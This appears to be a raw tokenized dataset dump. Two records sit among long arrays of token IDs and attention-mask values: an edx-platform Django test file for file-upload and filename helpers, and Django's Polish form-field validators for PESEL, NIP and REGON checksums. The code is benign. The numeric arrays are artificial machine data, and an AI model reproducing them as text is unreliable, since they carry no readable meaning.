7111, 63, 16103, 63, 998, 566, 398, 21567, 7111, 63, 16103, 63, 18, 63, 998, 275, 283, 70, 2671, 63, 344, 63, 18, 7, 267, 9966, 63, 5950, 14, 10108, 63, 475, 63, 2671, 8, 288, 13044, 63, 998, 12, 21567, 7111, 63, 16103, 63, 18, 63, 998, 9, 267, 291, 14, 629, 8, 288, 291, 423, 362, 63, 2671, 63, 1580, 63, 23178, 63, 475, 8, 3791, 63, 998, 395, 288, 359, 18068, 7111, 63, 16103, 63, 998, 12, 21567, 7111, 63, 16103, 63, 18, 63, 998, 566, 339, 347, 511, 63, 10108, 63, 475, 63, 8240, 8, 277, 304, 267, 13044, 63, 998, 275, 283, 751, 63, 344, 7, 267, 291, 14, 629, 8, 277, 423, 362, 63, 8240, 63, 1580, 63, 23178, 63, 475, 8, 3791, 63, 998, 395, 3073, 398, 21401, 6882, 1922, 63, 998, 275, 283, 8240, 63, 344, 7, 267, 9966, 63, 5950, 14, 10108, 63, 475, 63, 8240, 8, 3791, 63, 998, 12, 21401, 6882, 1922, 63, 998, 9, 267, 291, 14, 629, 8, 288, 291, 423, 362, 63, 8240, 63, 1580, 63, 23178, 63, 475, 8, 3791, 63, 998, 395, 359, 20425, 1922, 63, 998, 566, 398, 327, 21973, 972, 25708, 370, 314, 2011, 10679, 1172, 949, 7763, 14, 267, 9966, 63, 5950, 14, 10108, 63, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
etzhou/edx-platform
common/djangoapps/util/tests/test_file.py
86
11237
# -*- coding: utf-8 -*- """ Tests for file.py """ import ddt from io import StringIO from django.test import TestCase from datetime import datetime from django.utils.timezone import UTC from mock import patch, Mock from django.http import HttpRequest from django.core.files.uploadedfile import SimpleUploadedFile import util.file from util.file import ( course_and_time_based_filename_generator, course_filename_prefix_generator, store_uploaded_file, FileValidationException, UniversalNewlineIterator ) from opaque_keys.edx.locations import CourseLocator, SlashSeparatedCourseKey from django.core import exceptions import os @ddt.ddt class FilenamePrefixGeneratorTestCase(TestCase): """ Tests for course_filename_prefix_generator """ @ddt.data(CourseLocator, SlashSeparatedCourseKey) def test_locators(self, course_key_class): self.assertEqual( course_filename_prefix_generator(course_key_class(org='foo', course='bar', run='baz')), u'foo_bar_baz' ) @ddt.data(CourseLocator, SlashSeparatedCourseKey) def test_custom_separator(self, course_key_class): self.assertEqual( course_filename_prefix_generator(course_key_class(org='foo', course='bar', run='baz'), separator='-'), u'foo-bar-baz' ) @ddt.ddt class FilenameGeneratorTestCase(TestCase): """ Tests for course_and_time_based_filename_generator """ NOW = datetime.strptime('1974-06-22T01:02:03', '%Y-%m-%dT%H:%M:%S').replace(tzinfo=UTC()) def setUp(self): super(FilenameGeneratorTestCase, self).setUp() datetime_patcher = patch.object( util.file, 'datetime', Mock(wraps=datetime) ) mocked_datetime = datetime_patcher.start() mocked_datetime.now.return_value = self.NOW self.addCleanup(datetime_patcher.stop) @ddt.data(CourseLocator, SlashSeparatedCourseKey) def test_filename_generator(self, course_key_class): """ Tests that the generator creates names based on course_id, base name, and date. """ self.assertEqual( u'foo_bar_baz_file_1974-06-22-010203', course_and_time_based_filename_generator(course_key_class(org='foo', course='bar', run='baz'), 'file') ) self.assertEqual( u'foo_bar_baz_base_name_ø_1974-06-22-010203', course_and_time_based_filename_generator( course_key_class(org='foo', course='bar', run='baz'), ' base` name ø ' ) ) class StoreUploadedFileTestCase(TestCase): """ Tests for store_uploaded_file. """ def setUp(self): super(StoreUploadedFileTestCase, self).setUp() self.request = Mock(spec=HttpRequest) self.file_content = "test file content" self.request.FILES = {"uploaded_file": SimpleUploadedFile("tempfile.csv", self.file_content)} self.stored_file_name = None self.file_storage = None self.default_max_size = 2000000 def tearDown(self): super(StoreUploadedFileTestCase, self).tearDown() if self.file_storage and self.stored_file_name: self.file_storage.delete(self.stored_file_name) def verify_exception(self, expected_message, error): """ Helper method to verify exception text. """ self.assertEqual(expected_message, error.exception.message) def test_error_conditions(self): """ Verifies that exceptions are thrown in the expected cases. """ with self.assertRaises(ValueError) as error: store_uploaded_file(self.request, "wrong_key", [".txt", ".csv"], "stored_file", self.default_max_size) self.verify_exception("No file uploaded with key 'wrong_key'.", error) with self.assertRaises(exceptions.PermissionDenied) as error: store_uploaded_file(self.request, "uploaded_file", [], "stored_file", self.default_max_size) self.verify_exception("The file must end with one of the following extensions: ''.", error) with self.assertRaises(exceptions.PermissionDenied) as error: store_uploaded_file(self.request, "uploaded_file", [".bar"], "stored_file", self.default_max_size) self.verify_exception("The file must end with the extension '.bar'.", error) with self.assertRaises(exceptions.PermissionDenied) as error: store_uploaded_file(self.request, "uploaded_file", [".xxx", ".bar"], "stored_file", self.default_max_size) self.verify_exception("The file must end with one of the following extensions: '.xxx', '.bar'.", error) with self.assertRaises(exceptions.PermissionDenied) as error: store_uploaded_file(self.request, "uploaded_file", [".csv"], "stored_file", 2) self.verify_exception("Maximum upload file size is 2 bytes.", error) def test_validator(self): """ Verify that a validator function can throw an exception. """ validator_data = {} def verify_file_presence(should_exist): """ Verify whether or not the stored file, passed to the validator, exists. """ self.assertEqual(should_exist, validator_data["storage"].exists(validator_data["filename"])) def store_file_data(storage, filename): """ Stores file validator data for testing after validation is complete. """ validator_data["storage"] = storage validator_data["filename"] = filename verify_file_presence(True) def exception_validator(storage, filename): """ Validation test function that throws an exception """ self.assertEqual("error_file.csv", os.path.basename(filename)) with storage.open(filename, 'rU') as f: self.assertEqual(self.file_content, f.read()) store_file_data(storage, filename) raise FileValidationException("validation failed") def success_validator(storage, filename): """ Validation test function that is a no-op """ self.assertTrue("success_file" in os.path.basename(filename)) store_file_data(storage, filename) with self.assertRaises(FileValidationException) as error: store_uploaded_file( self.request, "uploaded_file", [".csv"], "error_file", self.default_max_size, validator=exception_validator ) self.verify_exception("validation failed", error) # Verify the file was deleted. verify_file_presence(False) store_uploaded_file( self.request, "uploaded_file", [".csv"], "success_file", self.default_max_size, validator=success_validator ) # Verify the file still exists verify_file_presence(True) def test_file_upload_lower_case_extension(self): """ Tests uploading a file with lower case extension. Verifies that the stored file contents are correct. """ file_storage, stored_file_name = store_uploaded_file( self.request, "uploaded_file", [".csv"], "stored_file", self.default_max_size ) self._verify_successful_upload(file_storage, stored_file_name, self.file_content) def test_file_upload_upper_case_extension(self): """ Tests uploading a file with upper case extension. Verifies that the stored file contents are correct. """ file_content = "uppercase" self.request.FILES = {"uploaded_file": SimpleUploadedFile("tempfile.CSV", file_content)} file_storage, stored_file_name = store_uploaded_file( self.request, "uploaded_file", [".gif", ".csv"], "second_stored_file", self.default_max_size ) self._verify_successful_upload(file_storage, stored_file_name, file_content) def test_unique_filenames(self): """ Test that the file storage method will create a unique filename if the file already exists. """ requested_file_name = "nonunique_store" file_content = "copy" self.request.FILES = {"nonunique_file": SimpleUploadedFile("nonunique.txt", file_content)} _, first_stored_file_name = store_uploaded_file( self.request, "nonunique_file", [".txt"], requested_file_name, self.default_max_size ) file_storage, second_stored_file_name = store_uploaded_file( self.request, "nonunique_file", [".txt"], requested_file_name, self.default_max_size ) self.assertNotEqual(first_stored_file_name, second_stored_file_name) self.assertTrue(requested_file_name in second_stored_file_name) self._verify_successful_upload(file_storage, second_stored_file_name, file_content) def _verify_successful_upload(self, storage, file_name, expected_content): """ Helper method that checks that the stored version of the uploaded file has the correct content """ self.assertTrue(storage.exists(file_name)) with storage.open(file_name, 'r') as f: self.assertEqual(expected_content, f.read()) @ddt.ddt class TestUniversalNewlineIterator(TestCase): """ Tests for the UniversalNewlineIterator class. """ @ddt.data(1, 2, 999) def test_line_feeds(self, buffer_size): self.assertEqual( [thing for thing in UniversalNewlineIterator(StringIO(u'foo\nbar\n'), buffer_size=buffer_size)], ['foo\n', 'bar\n'] ) @ddt.data(1, 2, 999) def test_carriage_returns(self, buffer_size): self.assertEqual( [thing for thing in UniversalNewlineIterator(StringIO(u'foo\rbar\r'), buffer_size=buffer_size)], ['foo\n', 'bar\n'] ) @ddt.data(1, 2, 999) def test_carriage_returns_and_line_feeds(self, buffer_size): self.assertEqual( [thing for thing in UniversalNewlineIterator(StringIO(u'foo\r\nbar\r\n'), buffer_size=buffer_size)], ['foo\n', 'bar\n'] ) @ddt.data(1, 2, 999) def test_no_trailing_newline(self, buffer_size): self.assertEqual( [thing for thing in UniversalNewlineIterator(StringIO(u'foo\nbar'), buffer_size=buffer_size)], ['foo\n', 'bar'] ) @ddt.data(1, 2, 999) def test_only_one_line(self, buffer_size): self.assertEqual( [thing for thing in UniversalNewlineIterator(StringIO(u'foo\n'), buffer_size=buffer_size)], ['foo\n'] ) @ddt.data(1, 2, 999) def test_only_one_line_no_trailing_newline(self, buffer_size): self.assertEqual( [thing for thing in UniversalNewlineIterator(StringIO(u'foo'), buffer_size=buffer_size)], ['foo'] ) @ddt.data(1, 2, 999) def test_empty_file(self, buffer_size): self.assertEqual( [thing for thing in UniversalNewlineIterator(StringIO(u''), buffer_size=buffer_size)], [] ) @ddt.data(1, 2, 999) def test_unicode_data(self, buffer_size): self.assertEqual( [thing for thing in UniversalNewlineIterator(StringIO(u'héllø wo®ld'), buffer_size=buffer_size)], [u'héllø wo®ld'] )
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 199, 2925, 367, 570, 14, 647, 199, 624, 199, 646, 366, 3583, 199, 504, 5890, 492, 5228, 199, 199, 504, 1639, 14, 396, 492, 7640, 199, 504, 2197, 492, 2197, 199, 504, 1639, 14, 1208, 14, 7145, 492, 12174, 199, 504, 1683, 492, 3371, 12, 4420, 199, 504, 1639, 14, 1014, 492, 20730, 199, 504, 1639, 14, 1018, 14, 1725, 14, 19044, 493, 492, 5870, 24665, 199, 646, 4884, 14, 493, 199, 504, 4884, 14, 493, 492, 334, 272, 2518, 63, 460, 63, 521, 63, 6788, 63, 1501, 63, 4679, 12, 272, 2518, 63, 1501, 63, 1861, 63, 4679, 12, 272, 3877, 63, 19044, 63, 493, 12, 272, 3814, 13816, 1726, 12, 272, 29347, 4665, 604, 3585, 199, 9, 199, 504, 15058, 63, 1612, 14, 8268, 14, 8022, 492, 31480, 12, 30687, 199, 504, 1639, 14, 1018, 492, 4967, 199, 646, 747, 421, 199, 32, 11138, 14, 11138, 199, 533, 31167, 4793, 7599, 1746, 8, 1746, 304, 272, 408, 272, 6496, 367, 2518, 63, 1501, 63, 1861, 63, 4679, 272, 408, 272, 768, 11138, 14, 576, 8, 6979, 10725, 12, 30687, 9, 272, 347, 511, 63, 2102, 2750, 8, 277, 12, 2518, 63, 498, 63, 533, 304, 267, 291, 14, 629, 8, 288, 2518, 63, 1501, 63, 1861, 63, 4679, 8, 1972, 63, 498, 63, 533, 8, 1308, 534, 1421, 297, 2518, 534, 1700, 297, 1255, 534, 6185, 3855, 288, 399, 7, 1421, 63, 1700, 63, 6185, 7, 267, 776, 339, 768, 11138, 14, 576, 8, 6979, 10725, 12, 30687, 9, 272, 347, 511, 63, 4229, 63, 9896, 8, 277, 12, 2518, 63, 498, 63, 533, 304, 267, 291, 14, 629, 8, 288, 2518, 63, 1501, 63, 1861, 63, 4679, 8, 1972, 63, 498, 63, 533, 8, 1308, 534, 1421, 297, 2518, 534, 1700, 297, 1255, 534, 6185, 659, 9432, 18274, 659, 288, 399, 7, 1421, 13, 1700, 13, 6185, 7, 267, 776, 421, 199, 32, 11138, 14, 11138, 199, 533, 31167, 7599, 1746, 8, 1746, 304, 272, 408, 272, 6496, 367, 2518, 63, 460, 63, 521, 63, 6788, 63, 1501, 63, 4679, 272, 408, 272, 4825, 55, 275, 2197, 14, 9866, 360, 1167, 1342, 13, 1690, 13, 1081, 52, 614, 26, 996, 26, 1644, 297, 1543, 57, 3295, 77, 3295, 19772, 5, 40, 2689, 45, 2689, 51, 1959, 1814, 8, 9374, 29, 11288, 1012, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 8117, 7599, 1746, 12, 291, 680, 5996, 342, 267, 2197, 63, 11238, 275, 3371, 14, 785, 8, 288, 4884, 14, 493, 12, 283, 2083, 297, 288, 4420, 8, 13582, 29, 2083, 9, 267, 776, 267, 16991, 63, 2083, 275, 2197, 63, 11238, 14, 928, 342, 267, 16991, 63, 2083, 14, 2131, 14, 1107, 63, 585, 275, 291, 14, 14283, 267, 291, 14, 12808, 8, 2083, 63, 11238, 14, 2379, 9, 339, 768, 11138, 14, 576, 8, 6979, 10725, 12, 30687, 9, 272, 347, 511, 63, 1501, 63, 4679, 8, 277, 12, 2518, 63, 498, 63, 533, 304, 267, 408, 267, 6496, 626, 314, 4306, 8491, 1561, 4079, 641, 2518, 63, 344, 12, 1300, 536, 12, 436, 1434, 14, 267, 408, 267, 291, 14, 629, 8, 288, 399, 7, 1421, 63, 1700, 63, 6185, 63, 493, 63, 1167, 1342, 13, 1690, 13, 1081, 13, 31715, 1644, 297, 288, 2518, 63, 460, 63, 521, 63, 6788, 63, 1501, 63, 4679, 8, 1972, 63, 498, 63, 533, 8, 1308, 534, 1421, 297, 2518, 534, 1700, 297, 1255, 534, 6185, 659, 283, 493, 358, 267, 776, 398, 291, 14, 629, 8, 288, 399, 7, 1421, 63, 1700, 63, 6185, 63, 1095, 63, 354, 63, 31087, 63, 1167, 1342, 13, 1690, 13, 1081, 13, 31715, 1644, 297, 288, 2518, 63, 460, 63, 521, 63, 6788, 63, 1501, 63, 4679, 8, 355, 2518, 63, 498, 63, 533, 8, 1308, 534, 1421, 297, 2518, 534, 1700, 297, 1255, 534, 6185, 659, 283, 1300, 64, 536, 13333, 117, 283, 288, 776, 267, 776, 421, 199, 533, 13874, 24665, 1746, 8, 1746, 304, 272, 408, 272, 6496, 367, 3877, 63, 19044, 63, 493, 14, 272, 408, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 5502, 24665, 1746, 12, 291, 680, 5996, 342, 267, 291, 14, 1069, 275, 4420, 8, 1650, 29, 10441, 9, 267, 291, 14, 493, 63, 1317, 275, 298, 396, 570, 1564, 2, 267, 291, 14, 1069, 14, 9472, 275, 2420, 19044, 63, 493, 582, 5870, 24665, 480, 17336, 14, 4737, 401, 291, 14, 493, 63, 1317, 6769, 267, 291, 14, 16431, 63, 493, 63, 354, 275, 488, 267, 291, 14, 493, 63, 3494, 275, 488, 267, 291, 14, 885, 63, 988, 63, 890, 275, 499, 3273, 339, 347, 6766, 8, 277, 304, 267, 1613, 8, 5502, 24665, 1746, 12, 291, 680, 12336, 342, 267, 340, 291, 14, 493, 63, 3494, 436, 291, 14, 16431, 63, 493, 63, 354, 26, 288, 291, 14, 493, 63, 3494, 14, 1807, 8, 277, 14, 16431, 63, 493, 63, 354, 9, 339, 347, 4911, 63, 1971, 8, 277, 12, 1420, 63, 1188, 12, 1125, 304, 267, 408, 267, 11642, 1083, 370, 4911, 1919, 1318, 14, 267, 408, 267, 291, 14, 629, 8, 2062, 63, 1188, 12, 1125, 14, 1971, 14, 1188, 9, 339, 347, 511, 63, 705, 63, 9855, 8, 277, 304, 267, 408, 267, 26114, 626, 4967, 787, 14031, 315, 314, 1420, 5560, 14, 267, 408, 267, 543, 291, 14, 1855, 8, 3393, 9, 465, 1125, 26, 288, 3877, 63, 19044, 63, 493, 8, 277, 14, 1069, 12, 298, 10603, 63, 498, 401, 359, 1674, 2424, 401, 3680, 4737, 2255, 298, 16431, 63, 493, 401, 291, 14, 885, 63, 988, 63, 890, 9, 267, 291, 14, 4712, 63, 1971, 480, 1944, 570, 14238, 543, 790, 283, 10603, 63, 498, 30532, 1125, 9, 398, 543, 291, 14, 1855, 8, 3924, 14, 7980, 15729, 9, 465, 1125, 26, 288, 3877, 63, 19044, 63, 493, 8, 277, 14, 1069, 12, 298, 19044, 63, 493, 401, 990, 298, 16431, 63, 493, 401, 291, 14, 885, 63, 988, 63, 890, 9, 267, 291, 14, 4712, 63, 1971, 480, 1918, 570, 1471, 1284, 543, 1373, 402, 314, 2569, 5478, 26, 6522, 401, 1125, 9, 398 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 199, 2925, 367, 570, 14, 647, 199, 624, 199, 646, 366, 3583, 199, 504, 5890, 492, 5228, 199, 199, 504, 1639, 14, 396, 492, 7640, 199, 504, 2197, 492, 2197, 199, 504, 1639, 14, 1208, 14, 7145, 492, 12174, 199, 504, 1683, 492, 3371, 12, 4420, 199, 504, 1639, 14, 1014, 492, 20730, 199, 504, 1639, 14, 1018, 14, 1725, 14, 19044, 493, 492, 5870, 24665, 199, 646, 4884, 14, 493, 199, 504, 4884, 14, 493, 492, 334, 272, 2518, 63, 460, 63, 521, 63, 6788, 63, 1501, 63, 4679, 12, 272, 2518, 63, 1501, 63, 1861, 63, 4679, 12, 272, 3877, 63, 19044, 63, 493, 12, 272, 3814, 13816, 1726, 12, 272, 29347, 4665, 604, 3585, 199, 9, 199, 504, 15058, 63, 1612, 14, 8268, 14, 8022, 492, 31480, 12, 30687, 199, 504, 1639, 14, 1018, 492, 4967, 199, 646, 747, 421, 199, 32, 11138, 14, 11138, 199, 533, 31167, 4793, 7599, 1746, 8, 1746, 304, 272, 408, 272, 6496, 367, 2518, 63, 1501, 63, 1861, 63, 4679, 272, 408, 272, 768, 11138, 14, 576, 8, 6979, 10725, 12, 30687, 9, 272, 347, 511, 63, 2102, 2750, 8, 277, 12, 2518, 63, 498, 63, 533, 304, 267, 291, 14, 629, 8, 288, 2518, 63, 1501, 63, 1861, 63, 4679, 8, 1972, 63, 498, 63, 533, 8, 1308, 534, 1421, 297, 2518, 534, 1700, 297, 1255, 534, 6185, 3855, 288, 399, 7, 1421, 63, 1700, 63, 6185, 7, 267, 776, 339, 768, 11138, 14, 576, 8, 6979, 10725, 12, 30687, 9, 272, 347, 511, 63, 4229, 63, 9896, 8, 277, 12, 2518, 63, 498, 63, 533, 304, 267, 291, 14, 629, 8, 288, 2518, 63, 1501, 63, 1861, 63, 4679, 8, 1972, 63, 498, 63, 533, 8, 1308, 534, 1421, 297, 2518, 534, 1700, 297, 1255, 534, 6185, 659, 9432, 18274, 659, 288, 399, 7, 1421, 13, 1700, 13, 6185, 7, 267, 776, 421, 199, 32, 11138, 14, 11138, 199, 533, 31167, 7599, 1746, 8, 1746, 304, 272, 408, 272, 6496, 367, 2518, 63, 460, 63, 521, 63, 6788, 63, 1501, 63, 4679, 272, 408, 272, 4825, 55, 275, 2197, 14, 9866, 360, 1167, 1342, 13, 1690, 13, 1081, 52, 614, 26, 996, 26, 1644, 297, 1543, 57, 3295, 77, 3295, 19772, 5, 40, 2689, 45, 2689, 51, 1959, 1814, 8, 9374, 29, 11288, 1012, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 8117, 7599, 1746, 12, 291, 680, 5996, 342, 267, 2197, 63, 11238, 275, 3371, 14, 785, 8, 288, 4884, 14, 493, 12, 283, 2083, 297, 288, 4420, 8, 13582, 29, 2083, 9, 267, 776, 267, 16991, 63, 2083, 275, 2197, 63, 11238, 14, 928, 342, 267, 16991, 63, 2083, 14, 2131, 14, 1107, 63, 585, 275, 291, 14, 14283, 267, 291, 14, 12808, 8, 2083, 63, 11238, 14, 2379, 9, 339, 768, 11138, 14, 576, 8, 6979, 10725, 12, 30687, 9, 272, 347, 511, 63, 1501, 63, 4679, 8, 277, 12, 2518, 63, 498, 63, 533, 304, 267, 408, 267, 6496, 626, 314, 4306, 8491, 1561, 4079, 641, 2518, 63, 344, 12, 1300, 536, 12, 436, 1434, 14, 267, 408, 267, 291, 14, 629, 8, 288, 399, 7, 1421, 63, 1700, 63, 6185, 63, 493, 63, 1167, 1342, 13, 1690, 13, 1081, 13, 31715, 1644, 297, 288, 2518, 63, 460, 63, 521, 63, 6788, 63, 1501, 63, 4679, 8, 1972, 63, 498, 63, 533, 8, 1308, 534, 1421, 297, 2518, 534, 1700, 297, 1255, 534, 6185, 659, 283, 493, 358, 267, 776, 398, 291, 14, 629, 8, 288, 399, 7, 1421, 63, 1700, 63, 6185, 63, 1095, 63, 354, 63, 31087, 63, 1167, 1342, 13, 1690, 13, 1081, 13, 31715, 1644, 297, 288, 2518, 63, 460, 63, 521, 63, 6788, 63, 1501, 63, 4679, 8, 355, 2518, 63, 498, 63, 533, 8, 1308, 534, 1421, 297, 2518, 534, 1700, 297, 1255, 534, 6185, 659, 283, 1300, 64, 536, 13333, 117, 283, 288, 776, 267, 776, 421, 199, 533, 13874, 24665, 1746, 8, 1746, 304, 272, 408, 272, 6496, 367, 3877, 63, 19044, 63, 493, 14, 272, 408, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 5502, 24665, 1746, 12, 291, 680, 5996, 342, 267, 291, 14, 1069, 275, 4420, 8, 1650, 29, 10441, 9, 267, 291, 14, 493, 63, 1317, 275, 298, 396, 570, 1564, 2, 267, 291, 14, 1069, 14, 9472, 275, 2420, 19044, 63, 493, 582, 5870, 24665, 480, 17336, 14, 4737, 401, 291, 14, 493, 63, 1317, 6769, 267, 291, 14, 16431, 63, 493, 63, 354, 275, 488, 267, 291, 14, 493, 63, 3494, 275, 488, 267, 291, 14, 885, 63, 988, 63, 890, 275, 499, 3273, 339, 347, 6766, 8, 277, 304, 267, 1613, 8, 5502, 24665, 1746, 12, 291, 680, 12336, 342, 267, 340, 291, 14, 493, 63, 3494, 436, 291, 14, 16431, 63, 493, 63, 354, 26, 288, 291, 14, 493, 63, 3494, 14, 1807, 8, 277, 14, 16431, 63, 493, 63, 354, 9, 339, 347, 4911, 63, 1971, 8, 277, 12, 1420, 63, 1188, 12, 1125, 304, 267, 408, 267, 11642, 1083, 370, 4911, 1919, 1318, 14, 267, 408, 267, 291, 14, 629, 8, 2062, 63, 1188, 12, 1125, 14, 1971, 14, 1188, 9, 339, 347, 511, 63, 705, 63, 9855, 8, 277, 304, 267, 408, 267, 26114, 626, 4967, 787, 14031, 315, 314, 1420, 5560, 14, 267, 408, 267, 543, 291, 14, 1855, 8, 3393, 9, 465, 1125, 26, 288, 3877, 63, 19044, 63, 493, 8, 277, 14, 1069, 12, 298, 10603, 63, 498, 401, 359, 1674, 2424, 401, 3680, 4737, 2255, 298, 16431, 63, 493, 401, 291, 14, 885, 63, 988, 63, 890, 9, 267, 291, 14, 4712, 63, 1971, 480, 1944, 570, 14238, 543, 790, 283, 10603, 63, 498, 30532, 1125, 9, 398, 543, 291, 14, 1855, 8, 3924, 14, 7980, 15729, 9, 465, 1125, 26, 288, 3877, 63, 19044, 63, 493, 8, 277, 14, 1069, 12, 298, 19044, 63, 493, 401, 990, 298, 16431, 63, 493, 401, 291, 14, 885, 63, 988, 63, 890, 9, 267, 291, 14, 4712, 63, 1971, 480, 1918, 570, 1471, 1284, 543, 1373, 402, 314, 2569, 5478, 26, 6522, 401, 1125, 9, 398, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
IllusionRom-deprecated/android_platform_tools_idea
python/lib/Lib/site-packages/django/contrib/localflavor/pl/forms.py
273
5444
""" Polish-specific form helpers """ import re from django.forms import ValidationError from django.forms.fields import Select, RegexField from django.utils.translation import ugettext_lazy as _ from django.core.validators import EMPTY_VALUES class PLProvinceSelect(Select): """ A select widget with list of Polish administrative provinces as choices. """ def __init__(self, attrs=None): from pl_voivodeships import VOIVODESHIP_CHOICES super(PLProvinceSelect, self).__init__(attrs, choices=VOIVODESHIP_CHOICES) class PLCountySelect(Select): """ A select widget with list of Polish administrative units as choices. """ def __init__(self, attrs=None): from pl_administrativeunits import ADMINISTRATIVE_UNIT_CHOICES super(PLCountySelect, self).__init__(attrs, choices=ADMINISTRATIVE_UNIT_CHOICES) class PLPESELField(RegexField): """ A form field that validates as Polish Identification Number (PESEL). Checks the following rules: * the length consist of 11 digits * has a valid checksum The algorithm is documented at http://en.wikipedia.org/wiki/PESEL. """ default_error_messages = { 'invalid': _(u'National Identification Number consists of 11 digits.'), 'checksum': _(u'Wrong checksum for the National Identification Number.'), } def __init__(self, *args, **kwargs): super(PLPESELField, self).__init__(r'^\d{11}$', max_length=None, min_length=None, *args, **kwargs) def clean(self,value): super(PLPESELField, self).clean(value) if value in EMPTY_VALUES: return u'' if not self.has_valid_checksum(value): raise ValidationError(self.error_messages['checksum']) return u'%s' % value def has_valid_checksum(self, number): """ Calculates a checksum with the provided algorithm. """ multiple_table = (1, 3, 7, 9, 1, 3, 7, 9, 1, 3, 1) result = 0 for i in range(len(number)): result += int(number[i]) * multiple_table[i] return result % 10 == 0 class PLNIPField(RegexField): """ A form field that validates as Polish Tax Number (NIP). Valid forms are: XXX-XXX-YY-YY or XX-XX-YYY-YYY. Checksum algorithm based on documentation at http://wipos.p.lodz.pl/zylla/ut/nip-rego.html """ default_error_messages = { 'invalid': _(u'Enter a tax number field (NIP) in the format XXX-XXX-XX-XX or XX-XX-XXX-XXX.'), 'checksum': _(u'Wrong checksum for the Tax Number (NIP).'), } def __init__(self, *args, **kwargs): super(PLNIPField, self).__init__(r'^\d{3}-\d{3}-\d{2}-\d{2}$|^\d{2}-\d{2}-\d{3}-\d{3}$', max_length=None, min_length=None, *args, **kwargs) def clean(self,value): super(PLNIPField, self).clean(value) if value in EMPTY_VALUES: return u'' value = re.sub("[-]", "", value) if not self.has_valid_checksum(value): raise ValidationError(self.error_messages['checksum']) return u'%s' % value def has_valid_checksum(self, number): """ Calculates a checksum with the provided algorithm. """ multiple_table = (6, 5, 7, 2, 3, 4, 5, 6, 7) result = 0 for i in range(len(number)-1): result += int(number[i]) * multiple_table[i] result %= 11 if result == int(number[-1]): return True else: return False class PLREGONField(RegexField): """ A form field that validates its input is a REGON number. Valid regon number consists of 9 or 14 digits. See http://www.stat.gov.pl/bip/regon_ENG_HTML.htm for more information. """ default_error_messages = { 'invalid': _(u'National Business Register Number (REGON) consists of 9 or 14 digits.'), 'checksum': _(u'Wrong checksum for the National Business Register Number (REGON).'), } def __init__(self, *args, **kwargs): super(PLREGONField, self).__init__(r'^\d{9,14}$', max_length=None, min_length=None, *args, **kwargs) def clean(self,value): super(PLREGONField, self).clean(value) if value in EMPTY_VALUES: return u'' if not self.has_valid_checksum(value): raise ValidationError(self.error_messages['checksum']) return u'%s' % value def has_valid_checksum(self, number): """ Calculates a checksum with the provided algorithm. """ weights = ( (8, 9, 2, 3, 4, 5, 6, 7, -1), (2, 4, 8, 5, 0, 9, 7, 3, 6, 1, 2, 4, 8, -1), (8, 9, 2, 3, 4, 5, 6, 7, -1, 0, 0, 0, 0, 0), ) weights = [table for table in weights if len(table) == len(number)] for table in weights: checksum = sum([int(n) * w for n, w in zip(number, table)]) if checksum % 11 % 10: return False return bool(weights) class PLPostalCodeField(RegexField): """ A form field that validates as Polish postal code. Valid code is XX-XXX where X is digit. """ default_error_messages = { 'invalid': _(u'Enter a postal code in the format XX-XXX.'), } def __init__(self, *args, **kwargs): super(PLPostalCodeField, self).__init__(r'^\d{2}-\d{3}$', max_length=None, min_length=None, *args, **kwargs)
apache-2.0
